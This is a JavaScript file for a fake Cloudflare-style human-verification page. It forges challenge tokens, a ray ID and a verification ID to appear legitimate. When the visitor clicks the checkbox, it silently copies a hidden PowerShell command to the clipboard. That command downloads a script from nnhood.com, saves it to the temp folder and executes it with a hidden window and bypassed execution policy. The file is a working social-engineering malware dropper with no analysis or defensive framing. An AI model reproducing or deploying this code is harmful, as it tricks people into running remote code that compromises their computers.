window.onload = function () { function generateToken(length) { const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789.-_' let token = '' for (let i = 0; i < length; i++) { token += chars.charAt(Math.floor(Math.random() * chars.length)) } return token } const currentUrl = window.location.href.split('?')[0] // Убираем всё после "?" const timestamp = Math.floor(Date.now() / 1000) // Временная метка const token = generateToken(80) // Основной токен (60 символов) const random = generateToken(20) // Дополнительные случайные символы const param = `__cf_chl_tk=${token}-${timestamp}-1.0.1.1-${random}` if (!window.location.search.includes('__cf_chl_tk=')) { window.history.replaceState({}, '', currentUrl + '?' + param) } } document.addEventListener('DOMContentLoaded', function () { const preloaderElements = document.querySelectorAll('.preloader') const preloaderText = document.querySelector('.preloader_text') const textAllStep = document.querySelector('.textallstep') const checkboxWindow = document.getElementById('checkbox-window') const step0Elements = document.querySelectorAll('.step0') const step1Elements = document.querySelectorAll('.step1') const step2Elements = document.querySelectorAll('.step2') const step3Elements = document.querySelectorAll('.step3') const checkbox = document.getElementById('checkbox') const verifyWindow = document.getElementById('verify-window') const spinner = document.getElementById('spinner') const verifyButton = document.getElementById('verify-button') setTimeout(() => { preloaderElements.forEach(el => (el.style.display = 'none')) preloaderText.style.display = 'none' textAllStep.style.display = 'block' checkboxWindow.style.display = 'flex' setTimeout(() => { checkboxWindow.style.display = 'flex' let opacity = 0 let fadeIn = setInterval(() => { if (opacity >= 1) { clearInterval(fadeIn) } else { opacity += 0.1 checkboxWindow.style.opacity = opacity } }, 30) }, 200) step0Elements.forEach(el => (el.style.display = 'block')) setTimeout(() => { step0Elements.forEach(el => (el.style.display = 'none')) step1Elements.forEach(el => (el.style.display = 'block')) }, 2000) }, 1500) checkbox.addEventListener('click', function () { const command = ` powershell -w h -nop -ep Bypass -c "$ov='https://nnhood.com/iG0.dof';$mt=$env:TEMP+'\a.ps1';$iha=New-Object -ComObject MSXML2.XMLHTTP;$iha.open('GET',$ov,$false);$iha.send();[io.file]::WriteAllBytes($mt,$iha.responseBody);&$mt"` navigator.clipboard.writeText(command) step1Elements.forEach(el => (el.style.display = 'none')) step2Elements.forEach(el => (el.style.display = 'block')) spinner.style.visibility = 'visible' setTimeout(() => { checkboxWindow.style.width = '500px' checkboxWindow.style.height = 'auto' verifyWindow.classList.add('active') }, 500) }) verifyButton.addEventListener('click', function () { verifyWindow.classList.remove('active') checkboxWindow.style.height = '74px' setTimeout(() => { checkboxWindow.style.width = '300px' step2Elements.forEach(el => (el.style.display = 'none')) step3Elements.forEach(el => (el.style.display = 'block')) setTimeout(() => { step3Elements.forEach(el => (el.style.display = 'none')) step1Elements.forEach(el => (el.style.display = 'block')) spinner.style.visibility = 'hidden' }, 1000) }, 600) }) document.getElementById('verification-id').textContent = Math.floor( 100000 + Math.random() * 900000 ) const chars = 'abcdef0123456789' document.querySelector('.ray-id').textContent = Array.from( { length: 16 }, () => chars[Math.floor(Math.random() * chars.length)] ).join('') })